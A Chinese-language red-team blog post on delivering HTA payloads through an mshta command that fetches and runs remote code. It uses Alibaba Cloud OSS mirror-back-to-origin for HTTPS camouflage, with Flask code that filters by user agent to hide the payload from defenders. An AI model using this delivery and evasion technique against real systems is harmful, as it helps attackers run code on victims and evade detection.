巧用OSS对抗记

巧用OSS对抗记

转载请注明出处:https://youngrichog.github.io/

描述

在某次红蓝对抗中,发现自己的小马被防守方获取到,由此开始想招对抗防守方。主要场景是我使用mshta http://x.x.x.x/123.hta 进行远程命令执行,但是由于环境所困没办法使用https,害怕由于使用https出现”此网站的安全证书存在问题”,需要受害者二次点击影响效果。

后续对风险面分析,我的小马会释放一个hta到本地,然后在mshta本地hta,为什么要这样做?缘由是这样的,如果通过mshta直接进行远程文件的下载是会出现跨域同源策略的问题,当然通过命令下载(bitsadmin、certutil···等等),也是为了避免去使用命令下载才使用编写XMLHTTP Request进行下载。所以我通过scripting.filesystemobject又写了一个hta到本地,继续mshta本地hta文件,这样就可以把上述问题解决。我也期待有其他解决方案,希望大家可以一起交流 :-)

回到重点,想在网络上将隐藏的好一些,那么如何能不弹”此网站的安全证书存在问题”?后来大佬说OSS可以,然后我就去对OSS进行了解,发现镜像回源的功能可以实现,当然直接文件丢OSS任何人都可以下载,最终利用该功能配合脚本解决。

这里的OSS指的是阿里云-对象存储OSS

功能分析

OSS 镜像回源的功能主要为两种模式:

404

当客户请求到 OSS 获取资源时,如果 OSS 资源不存在,那么会根据客户配置的镜像回源地址去拉去对应的资源,如果真正的源站有数据就会响应 OSS 200 ,OSS 会将文件一同存储到本地,并且透传给客户端 200 的状态码。

在这个过程中,如果 OSS 回源没有回去到资源,源站响应了 404 ,那么 OSS 也直接将 404 透传给用户。

如果 OSS 回源获取资源失败,源站返回了一个非 200 404 的状态码,比如 502,那 OSS 会记录 424 ,然后透传给源站的状态码 502 给客户端。

重定向

回源另外一个功能就是重定向,重定向,分为 301 、302、307。常用的就是 302 301,配置重定向功能后,客户端请求到 bucket A 后,会直接 302 301 到用户配置的 bucket B,客户端直接根据 301 302 follow 到目的 bucket B。

简单理解的话,其实OSS就是中间人,用户访问A文件,如果OSS没有A文件就去源站拉A文件并存在OSS返回给用户,如果有A文件则直接返回

OSS支持HTTP和HTTPS

利用该功能特性,我们就借助OSS完成SSL进行文件的传输,OSS还有伪装的好处,一般OSS不会太引起疑心。

具体实现

OSS控制台->选择某Bucket->基础设置->镜像回源->创建规则

img

img

通过访问xxxxx.oss-cn-shenzhen.aliyuncs.com/xxxxx.jpg,会去回源地址进行拉取

通过开个http服务,看日志,发现来进行请求

x.x.x.x - - [23/Nov/2020 23:55:01] “GET /1.hta/xxxxx.jpg HTTP/1.1” 404 -

通过路由规则匹配/1.hta/xxxxx.jpg,然后返回给OSS相应的hta文件内容,会将xxxxx.jpg存储在OSS

这样的话就出现一个风险,就是任何人都可以下载,因为我们是需要公有读权限,后面我们配合OSS API进行定时的文件删除,这样就可以解决

后面又发现一个风险点,就是任何人都可以对我源站文件进行下载,这里通过判断UA头来进行控制,OSS的UA头为:aliyun-oss-mirror,那么我们以此做判断就可以了,其他UA头过来我们全部ban掉

附代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#! /usr/bin/env python3
# -*- coding:utf-8 -*-

from flask import Flask,request,send_from_directory

app = Flask(__name__)

@app.route('/1.hta/xxxxx.jpg',method=['GET'])
def download():
if 'aliyun-oss-mirror' in request.user_agent.string:
return send_from_directory('download','1.hta')
else:
return "Oooooo..."

if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
1
mshta https://xxxxx.oss-cn-shenzhen.aliyuncs.com/xxxxx.jpg

这样我们就巧用OSS进行一次网络流量方面的对抗 :-)

最后期待学习下mshta远程下载文件的时候,除了上述解决方法还有什么,期待有缘人讨论 :-)